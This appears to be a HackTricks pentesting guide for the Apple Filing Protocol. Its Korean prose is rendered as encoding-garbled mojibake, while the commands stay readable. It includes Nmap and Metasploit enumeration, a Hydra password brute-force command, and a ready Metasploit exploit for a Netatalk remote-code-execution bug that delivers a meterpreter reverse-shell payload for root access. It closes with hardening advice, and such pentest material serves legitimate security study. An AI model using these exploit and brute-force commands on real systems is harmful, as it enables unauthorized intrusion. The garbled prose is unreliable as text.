548 - Pentesting Apple Filing Protocol (AFP)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

Apple Filing Protocol (AFP)๋Š” ํ•œ๋•Œ AppleTalk Filing Protocol๋กœ ์•Œ๋ ค์กŒ๋˜ ์ „๋ฌธ ๋„คํŠธ์›Œํฌ ํ”„๋กœํ† ์ฝœ๋กœ, Apple File Service (AFS)์— ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ํ”„๋กœํ† ์ฝœ์€ macOS ๋ฐ ํด๋ž˜์‹ Mac OS๋ฅผ ์œ„ํ•œ ํŒŒ์ผ ์„œ๋น„์Šค๋ฅผ ์ œ๊ณตํ•˜๋„๋ก ์„ค๊ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค. AFP๋Š” ์œ ๋‹ˆ์ฝ”๋“œ ํŒŒ์ผ ์ด๋ฆ„, POSIX ์Šคํƒ€์ผ ๋ฐ ACL ๊ถŒํ•œ, ๋ฆฌ์†Œ์Šค ํฌํฌ, ๋ช…๋ช…๋œ ํ™•์žฅ ์†์„ฑ ๋ฐ ์ •๊ตํ•œ ํŒŒ์ผ ์ž ๊ธˆ ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ์ง€์›ํ•˜๋Š” ์ ์—์„œ ๋‘๋“œ๋Ÿฌ์ง‘๋‹ˆ๋‹ค.

๋น„๋ก AFP๋Š” ํ˜„๋Œ€ macOS ๋ฆด๋ฆฌ์Šค์—์„œ SMB์— ์˜ํ•ด ๋Œ€์ฒด๋˜์—ˆ์ง€๋งŒ (OS X 10.9๋ถ€ํ„ฐ SMB๊ฐ€ ๊ธฐ๋ณธ๊ฐ’), ์—ฌ์ „ํžˆ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํ™˜๊ฒฝ์—์„œ ๋ฐœ๊ฒฌ๋ฉ๋‹ˆ๋‹ค:

  • ๋ ˆ๊ฑฐ์‹œ macOS / Mac OS 9 ํ™˜๊ฒฝ
  • ์˜คํ”ˆ ์†Œ์Šค Netatalk ๋ฐ๋ชฌ์„ ํฌํ•จํ•˜๋Š” NAS ์žฅ์น˜ (QNAP, Synology, Western Digital, TrueNASโ€ฆ)
  • Time-Machine-over-AFP๊ฐ€ ์—ฌ์ „ํžˆ ํ™œ์„ฑํ™”๋œ ํ˜ผํ•ฉ OS ๋„คํŠธ์›Œํฌ

๊ธฐ๋ณธ TCP ํฌํŠธ: 548 (TCP / DSI๋ฅผ ํ†ตํ•œ AFP)

PORT     STATE SERVICE
548/tcp  open  afp

Enumeration

Quick banner / server info

# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>

# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>

์œ ์šฉํ•œ AFP NSE ์Šคํฌ๋ฆฝํŠธ:

์Šคํฌ๋ฆฝํŠธ๊ธฐ๋Šฅ
afp-ls์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ AFP ๋ณผ๋ฅจ ๋ฐ ํŒŒ์ผ ๋ชฉ๋ก ํ‘œ์‹œ
afp-bruteAFP ๋กœ๊ทธ์ธ์— ๋Œ€ํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…
afp-serverinfo์„œ๋ฒ„ ์ด๋ฆ„, ๊ธฐ๊ณ„ ์œ ํ˜•, AFP ๋ฒ„์ „, ์ง€์›๋˜๋Š” UAM ๋“ฑ ๋คํ”„
afp-showmountACL๊ณผ ํ•จ๊ป˜ ๊ณต์œ  ๋ชฉ๋ก ํ‘œ์‹œ
afp-path-vuln๋””๋ ‰ํ„ฐ๋ฆฌ ํƒ์ƒ‰, CVE-2010-0533 ๊ฐ์ง€(๋ฐ ์•…์šฉ ๊ฐ€๋Šฅ)

NSE ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ์Šคํฌ๋ฆฝํŠธ๋Š” ๋” ๋งŽ์€ ์ œ์–ด๊ฐ€ ํ•„์š”ํ•œ ๊ฒฝ์šฐ Hydra/Medusa์™€ ๊ฒฐํ•ฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

hydra -L users.txt -P passwords.txt afp://<IP>

๊ณต์œ ์™€ ์ƒํ˜ธ์ž‘์šฉ

macOS

# Finder โ†’ Go โ†’ "Connect to Serverโ€ฆ"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp

๋ฆฌ๋ˆ…์Šค (๋Œ€๋ถ€๋ถ„์˜ ๋ฐฐํฌํŒ์— ํŒจํ‚ค์ง€๋œ afpfs-ng ์‚ฌ์šฉ)

apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>

ํ•œ ๋ฒˆ ๋งˆ์šดํŠธ๋˜๋ฉด, ๊ณ ์ „ Mac ๋ฆฌ์†Œ์Šค ํฌํฌ๋Š” ์ˆจ๊ฒจ์ง„ ._* AppleDouble ํŒŒ์ผ๋กœ ์ €์žฅ๋œ๋‹ค๋Š” ๊ฒƒ์„ ๊ธฐ์–ตํ•˜์„ธ์š”. ์ด๋Ÿฌํ•œ ํŒŒ์ผ์€ DFIR ๋„๊ตฌ๊ฐ€ ๋†“์น˜๋Š” ํฅ๋ฏธ๋กœ์šด ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋ฅผ ์ข…์ข… ํฌํ•จํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.


์ผ๋ฐ˜์ ์ธ ์ทจ์•ฝ์  ๋ฐ ์•…์šฉ

Netatalk ์ธ์ฆ๋˜์ง€ ์•Š์€ RCE ์ฒด์ธ (2022)

์—ฌ๋Ÿฌ NAS ๊ณต๊ธ‰์—…์ฒด๊ฐ€ Netatalk โ‰ค3.1.12๋ฅผ ๋ฐฐํฌํ–ˆ์Šต๋‹ˆ๋‹ค. parse_entries()์—์„œ ๊ฒฝ๊ณ„ ๊ฒ€์‚ฌ ๋ถ€์กฑ์œผ๋กœ ์ธํ•ด ๊ณต๊ฒฉ์ž๊ฐ€ ์•…์˜์ ์ธ AppleDouble ํ—ค๋”๋ฅผ ์ž‘์„ฑํ•˜๊ณ  ์ธ์ฆ ์ „์— ์›๊ฒฉ ๋ฃจํŠธ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (CVSS 9.8 โ€“ CVE-2022-23121). Western-Digital PR4100์„ ์•…์šฉํ•˜๋Š” PoC์™€ ํ•จ๊ป˜ NCC Group์˜ ์ „์ฒด ์ž‘์„ฑ๋ฌผ์ด ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค.

Metasploit (>= 6.3)๋Š” DSI WRITE๋ฅผ ํ†ตํ•ด ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ „๋‹ฌํ•˜๋Š” ๋ชจ๋“ˆ exploit/linux/netatalk/parse_entries๋ฅผ ํฌํ•จํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0   # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run

๋Œ€์ƒ ์‹œ์Šคํ…œ์ด ์˜ํ–ฅ์„ ๋ฐ›๋Š” QNAP/Synology ํŽŒ์›จ์–ด๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๊ฒฝ์šฐ, ์„ฑ๊ณต์ ์ธ ์ต์Šคํ”Œ๋กœ์ž‡์€ root๋กœ์„œ์˜ ์‰˜์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

Netatalk OpenSession ํž™ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ (2018)

๊ตฌ๋ฒ„์ „ Netatalk (3.0.0 - 3.1.11)์€ DSI OpenSession ํ•ธ๋“ค๋Ÿฌ์—์„œ์˜ ๊ฒฝ๊ณ„ ์ดˆ๊ณผ ์“ฐ๊ธฐ์— ์ทจ์•ฝํ•˜์—ฌ ์ธ์ฆ๋˜์ง€ ์•Š์€ ์ฝ”๋“œ ์‹คํ–‰์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค (CVE-2018-1160). Tenable Research์— ์˜ํ•ด ์ž์„ธํ•œ ๋ถ„์„๊ณผ PoC๊ฐ€ ๋ฐœํ‘œ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

๊ธฐํƒ€ ์ฃผ๋ชฉํ•  ๋งŒํ•œ ๋ฌธ์ œ

  • CVE-2022-22995 โ€“ AppleDouble v2๊ฐ€ ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ (3.1.0 - 3.1.17) ์ž„์˜ ํŒŒ์ผ ์“ฐ๊ธฐ / RCE๋กœ ์ด์–ด์ง€๋Š” ์‹ฌ๋ณผ๋ฆญ ๋งํฌ ๋ฆฌ๋””๋ ‰์…˜.
  • CVE-2010-0533 โ€“ Apple Mac OS X 10.6 AFP์—์„œ์˜ ๋””๋ ‰ํ† ๋ฆฌ ํƒ์ƒ‰ ( afp-path-vuln.nse์— ์˜ํ•ด ํƒ์ง€๋จ).
  • **Netatalk 4.x (2024)**์—์„œ ์—ฌ๋Ÿฌ ๋ฉ”๋ชจ๋ฆฌ ์•ˆ์ „์„ฑ ๋ฒ„๊ทธ๊ฐ€ ์ˆ˜์ •๋˜์—ˆ์Šต๋‹ˆ๋‹ค โ€“ ๊ฐœ๋ณ„ CVE๋ฅผ ํŒจ์น˜ํ•˜๊ธฐ๋ณด๋‹ค๋Š” ์—…๊ทธ๋ ˆ์ด๋“œ๋ฅผ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค.

๋ฐฉ์–ด ๊ถŒ์žฅ ์‚ฌํ•ญ

  1. AFP๋ฅผ ๋น„ํ™œ์„ฑํ™” ํ•˜์‹ญ์‹œ์˜ค. ์—„๊ฒฉํžˆ ํ•„์š”ํ•˜์ง€ ์•Š์€ ๊ฒฝ์šฐ โ€“ ๋Œ€์‹  SMB3 ๋˜๋Š” NFS๋ฅผ ์‚ฌ์šฉํ•˜์‹ญ์‹œ์˜ค.
  2. AFP๋ฅผ ์œ ์ง€ํ•ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ, Netatalk๋ฅผ โ‰ฅ 3.1.18 ๋˜๋Š” 4.x๋กœ ์—…๊ทธ๋ ˆ์ด๋“œ ํ•˜๊ฑฐ๋‚˜ 2022/2023/2024 ํŒจ์น˜๋ฅผ ๋ฐฑํฌํŠธํ•œ ๊ณต๊ธ‰์—…์ฒด ํŽŒ์›จ์–ด๋ฅผ ์ ์šฉํ•˜์‹ญ์‹œ์˜ค.
  3. ๊ฐ•๋ ฅํ•œ UAM(์˜ˆ: DHX2)์„ ์‹œํ–‰ํ•˜๊ณ , ํ‰๋ฌธ ๋ฐ ๊ฒŒ์ŠคํŠธ ๋กœ๊ทธ์ธ์„ ๋น„ํ™œ์„ฑํ™”ํ•˜์‹ญ์‹œ์˜ค.
  4. TCP 548์„ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ์„œ๋ธŒ๋„ท์œผ๋กœ ์ œํ•œํ•˜๊ณ , ์›๊ฒฉ์œผ๋กœ ๋…ธ์ถœ๋  ๋•Œ AFP๋ฅผ VPN ๋‚ด์— ๊ฐ์‹ธ์‹ญ์‹œ์˜ค.
  5. ์ฃผ๊ธฐ์ ์œผ๋กœ nmap -p 548 --script afp-*๋กœ CI/CD์—์„œ ์Šค์บ”ํ•˜์—ฌ ๋ถˆ๋ฒ• / ๋‹ค์šด๊ทธ๋ ˆ์ด๋“œ๋œ ์žฅ๋น„๋ฅผ ํƒ์ง€ํ•˜์‹ญ์‹œ์˜ค.

Brute-Force

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ